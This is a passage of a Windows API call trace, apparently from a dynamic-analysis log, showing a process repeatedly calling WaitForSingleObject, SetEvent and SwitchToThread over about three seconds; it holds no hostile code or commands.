	[0074.153] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.263] SetEvent (hEvent=0x6c) returned 1
	[0074.263] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.264] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.299] SetEvent (hEvent=0x6c) returned 1
	[0074.299] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.301] SetEvent (hEvent=0x6c) returned 1
	[0074.301] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.301] SetEvent (hEvent=0x6c) returned 1
	[0074.301] SwitchToThread () returned 1
	[0074.301] SetEvent (hEvent=0x6c) returned 1
	[0074.301] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.302] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.347] SetEvent (hEvent=0x6c) returned 1
	[0074.348] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.349] SetEvent (hEvent=0x8c) returned 1
	[0074.349] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.373] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.376] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.412] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.465] SetEvent (hEvent=0x6c) returned 1
	[0074.465] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.465] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.491] SetEvent (hEvent=0x6c) returned 1
	[0074.491] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.493] SetEvent (hEvent=0x6c) returned 1
	[0074.493] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.494] SetEvent (hEvent=0x6c) returned 1
	[0074.494] SwitchToThread () returned 1
	[0074.494] SetEvent (hEvent=0x6c) returned 1
	[0074.494] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.494] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.543] SetEvent (hEvent=0x6c) returned 1
	[0074.543] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.545] SetEvent (hEvent=0x8c) returned 1
	[0074.545] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.568] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.571] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.606] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.612] SetEvent (hEvent=0x6c) returned 1
	[0074.612] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.613] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.638] SetEvent (hEvent=0x6c) returned 1
	[0074.638] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.640] SetEvent (hEvent=0x6c) returned 1
	[0074.640] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.640] SetEvent (hEvent=0x6c) returned 1
	[0074.640] SwitchToThread () returned 1
	[0074.640] SetEvent (hEvent=0x6c) returned 1
	[0074.640] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.641] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.694] SetEvent (hEvent=0x6c) returned 1
	[0074.694] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.696] SetEvent (hEvent=0x8c) returned 1
	[0074.696] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.719] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.722] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.758] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.766] SetEvent (hEvent=0x6c) returned 1
	[0074.766] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.766] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.792] SetEvent (hEvent=0x6c) returned 1
	[0074.792] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.793] SetEvent (hEvent=0x6c) returned 1
	[0074.793] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.794] SetEvent (hEvent=0x6c) returned 1
	[0074.794] SwitchToThread () returned 1
	[0074.794] SetEvent (hEvent=0x6c) returned 1
	[0074.794] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.794] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.839] SetEvent (hEvent=0x6c) returned 1
	[0074.839] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.840] SetEvent (hEvent=0x8c) returned 1
	[0074.840] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.864] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.867] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.902] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.910] SetEvent (hEvent=0x6c) returned 1
	[0074.910] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.910] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.935] SetEvent (hEvent=0x6c) returned 1
	[0074.936] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.937] SetEvent (hEvent=0x6c) returned 1
	[0074.937] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.938] SetEvent (hEvent=0x6c) returned 1
	[0074.938] SwitchToThread () returned 1
	[0074.938] SetEvent (hEvent=0x6c) returned 1
	[0074.938] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.938] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.997] SetEvent (hEvent=0x6c) returned 1
	[0074.997] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.999] SetEvent (hEvent=0x8c) returned 1
	[0074.999] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.030] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.033] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.041] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.074] SetEvent (hEvent=0x6c) returned 1
	[0075.074] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.075] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.125] SetEvent (hEvent=0x6c) returned 1
	[0075.125] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.127] SetEvent (hEvent=0x6c) returned 1
	[0075.127] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.128] SetEvent (hEvent=0x6c) returned 1
	[0075.128] SwitchToThread () returned 1
	[0075.128] SetEvent (hEvent=0x6c) returned 1
	[0075.128] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.128] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.172] SetEvent (hEvent=0x80) returned 1
	[0075.172] SetEvent (hEvent=0x8c) returned 1
	[0075.173] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.173] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.181] SetEvent (hEvent=0x6c) returned 1
	[0075.181] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.198] SetEvent (hEvent=0x6c) returned 1
	[0075.198] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.200] SetEvent (hEvent=0x6c) returned 1
	[0075.200] SwitchToThread () returned 1
	[0075.200] SetEvent (hEvent=0x6c) returned 1
	[0075.200] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.200] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.243] SetEvent (hEvent=0x6c) returned 1
	[0075.243] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.244] SetEvent (hEvent=0x80) returned 1
	[0075.244] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.284] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.287] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.296] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.328] SetEvent (hEvent=0x6c) returned 1
	[0075.328] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.328] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.354] SetEvent (hEvent=0x6c) returned 1
	[0075.354] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.356] SetEvent (hEvent=0x6c) returned 1
	[0075.356] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.357] SetEvent (hEvent=0x6c) returned 1
	[0075.357] SwitchToThread () returned 1
	[0075.357] SetEvent (hEvent=0x6c) returned 1
	[0075.357] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.357] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.412] SetEvent (hEvent=0x6c) returned 1
	[0075.412] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.414] SetEvent (hEvent=0x80) returned 1
	[0075.414] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.437] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.440] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.475] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.485] SetEvent (hEvent=0x6c) returned 1
	[0075.485] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.485] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.511] SetEvent (hEvent=0x6c) returned 1
	[0075.511] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.513] SetEvent (hEvent=0x6c) returned 1
	[0075.513] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.513] SetEvent (hEvent=0x6c) returned 1
	[0075.513] SwitchToThread () returned 1
	[0075.514] SetEvent (hEvent=0x6c) returned 1
	[0075.514] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.514] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.555] SetEvent (hEvent=0x6c) returned 1
	[0075.555] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.557] SetEvent (hEvent=0x80) returned 1
	[0075.557] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.580] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.583] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.609] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.633] SetEvent (hEvent=0x6c) returned 1
	[0075.633] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.633] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.660] SetEvent (hEvent=0x6c) returned 1
	[0075.660] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.662] SetEvent (hEvent=0x6c) returned 1
	[0075.662] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.662] SetEvent (hEvent=0x6c) returned 1
	[0075.663] SwitchToThread () returned 1
	[0075.663] SetEvent (hEvent=0x6c) returned 1
	[0075.663] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.663] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.718] SetEvent (hEvent=0x78) returned 1
	[0075.718] SetEvent (hEvent=0x80) returned 1
	[0075.718] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.719] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.727] SetEvent (hEvent=0x6c) returned 1
	[0075.727] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.743] SetEvent (hEvent=0x6c) returned 1
	[0075.743] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.745] SetEvent (hEvent=0x6c) returned 1
	[0075.745] SwitchToThread () returned 1
	[0075.746] SetEvent (hEvent=0x6c) returned 1
	[0075.746] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.746] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.790] SetEvent (hEvent=0x6c) returned 1
	[0075.790] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.791] SetEvent (hEvent=0x78) returned 1
	[0075.791] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.816] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.819] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.828] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.861] SetEvent (hEvent=0x6c) returned 1
	[0075.861] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.861] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.886] SetEvent (hEvent=0x6c) returned 1
	[0075.886] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.888] SetEvent (hEvent=0x6c) returned 1
	[0075.888] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.888] SetEvent (hEvent=0x6c) returned 1
	[0075.888] SwitchToThread () returned 1
	[0075.888] SetEvent (hEvent=0x6c) returned 1
	[0075.888] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.889] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.939] SetEvent (hEvent=0x6c) returned 1
	[0075.939] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.940] SetEvent (hEvent=0x78) returned 1
	[0075.940] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.965] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.968] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.007] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.018] SetEvent (hEvent=0x6c) returned 1
	[0076.018] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.019] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.061] SetEvent (hEvent=0x6c) returned 1
	[0076.061] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.063] SetEvent (hEvent=0x6c) returned 1
	[0076.063] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.064] SetEvent (hEvent=0x6c) returned 1
	[0076.064] SwitchToThread () returned 1
	[0076.064] SetEvent (hEvent=0x6c) returned 1
	[0076.064] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.064] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.153] SetEvent (hEvent=0x6c) returned 1
	[0076.153] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.155] SetEvent (hEvent=0x78) returned 1
	[0076.155] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.179] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.182] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.216] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.222] SetEvent (hEvent=0x6c) returned 1
	[0076.223] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.223] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.247] SetEvent (hEvent=0x6c) returned 1
	[0076.247] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.249] SetEvent (hEvent=0x6c) returned 1
	[0076.249] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.250] SetEvent (hEvent=0x6c) returned 1
	[0076.250] SwitchToThread () returned 1
	[0076.250] SetEvent (hEvent=0x6c) returned 1
	[0076.250] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.250] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.305] SetEvent (hEvent=0x6c) returned 1
	[0076.305] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.310] SetEvent (hEvent=0x78) returned 1
	[0076.310] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.334] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.337] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.371] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.381] SetEvent (hEvent=0x6c) returned 1
	[0076.381] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.381] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.408] SetEvent (hEvent=0x6c) returned 1
	[0076.408] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.410] SetEvent (hEvent=0x6c) returned 1
	[0076.410] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.411] SetEvent (hEvent=0x6c) returned 1
	[0076.411] SwitchToThread () returned 1
	[0076.411] SetEvent (hEvent=0x6c) returned 1
	[0076.411] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.411] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.507] SetEvent (hEvent=0x6c) returned 1
	[0076.507] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.509] SetEvent (hEvent=0x78) returned 1
	[0076.509] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.531] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.534] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.547] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.580] SetEvent (hEvent=0x6c) returned 1
	[0076.580] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.580] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.606] SetEvent (hEvent=0x6c) returned 1
	[0076.606] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.608] SetEvent (hEvent=0x6c) returned 1
	[0076.608] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.609] SetEvent (hEvent=0x6c) returned 1
	[0076.609] SwitchToThread () returned 1
	[0076.609] SetEvent (hEvent=0x6c) returned 1
	[0076.609] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.609] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.654] SetEvent (hEvent=0x8c) returned 1
	[0076.654] SetEvent (hEvent=0x78) returned 1
	[0076.654] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.655] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.662] SetEvent (hEvent=0x6c) returned 1
	[0076.662] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.679] SetEvent (hEvent=0x6c) returned 1
	[0076.679] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.681] SetEvent (hEvent=0x6c) returned 1
	[0076.681] SwitchToThread () returned 1
	[0076.681] SetEvent (hEvent=0x6c) returned 1
	[0076.681] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.682] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.724] SetEvent (hEvent=0x6c) returned 1
	[0076.724] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.726] SetEvent (hEvent=0x8c) returned 1
	[0076.726] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.749] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.752] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.761] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.810] SetEvent (hEvent=0x6c) returned 1
	[0076.810] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.810] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.837] SetEvent (hEvent=0x6c) returned 1
	[0076.837] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.839] SetEvent (hEvent=0x6c) returned 1
	[0076.839] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.839] SetEvent (hEvent=0x6c) returned 1
	[0076.839] SwitchToThread () returned 1
	[0076.839] SetEvent (hEvent=0x6c) returned 1
	[0076.839] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.840] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.882] SetEvent (hEvent=0x6c) returned 1
	[0076.882] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.884] SetEvent (hEvent=0x8c) returned 1
	[0076.884] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.907] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.910] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.931] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.938] SetEvent (hEvent=0x6c) returned 1
	[0076.938] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.938] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.963] SetEvent (hEvent=0x6c) returned 1
	[0076.963] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.965] SetEvent (hEvent=0x6c) returned 1
	[0076.965] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.965] SetEvent (hEvent=0x6c) returned 1
	[0076.966] SwitchToThread () returned 1
	[0076.966] SetEvent (hEvent=0x6c) returned 1
	[0076.966] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.966] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.994] SetEvent (hEvent=0x6c) returned 1
	[0076.994] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.996] SetEvent (hEvent=0x8c) returned 1
	[0076.996] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.020] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.023] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.045] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.051] SetEvent (hEvent=0x6c) returned 1
	[0077.051] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.051] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.093] SetEvent (hEvent=0x6c) returned 1
	[0077.093] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.095] SetEvent (hEvent=0x6c) returned 1
	[0077.095] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.095] SetEvent (hEvent=0x6c) returned 1
	[0077.095] SwitchToThread () returned 1
	[0077.095] SetEvent (hEvent=0x6c) returned 1
	[0077.095] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.096] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.126] SetEvent (hEvent=0x6c) returned 1
	[0077.126] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.128] SetEvent (hEvent=0x8c) returned 1
	[0077.128] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.151] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.153] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.174] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.180] SetEvent (hEvent=0x6c) returned 1
	[0077.180] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.181] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.206] SetEvent (hEvent=0x6c) returned 1
	[0077.206] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.208] SetEvent (hEvent=0x6c) returned 1
	[0077.208] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.209] SetEvent (hEvent=0x6c) returned 1
	[0077.209] SwitchToThread () returned 1
	[0077.209] SetEvent (hEvent=0x6c) returned 1
	[0077.209] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.209] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
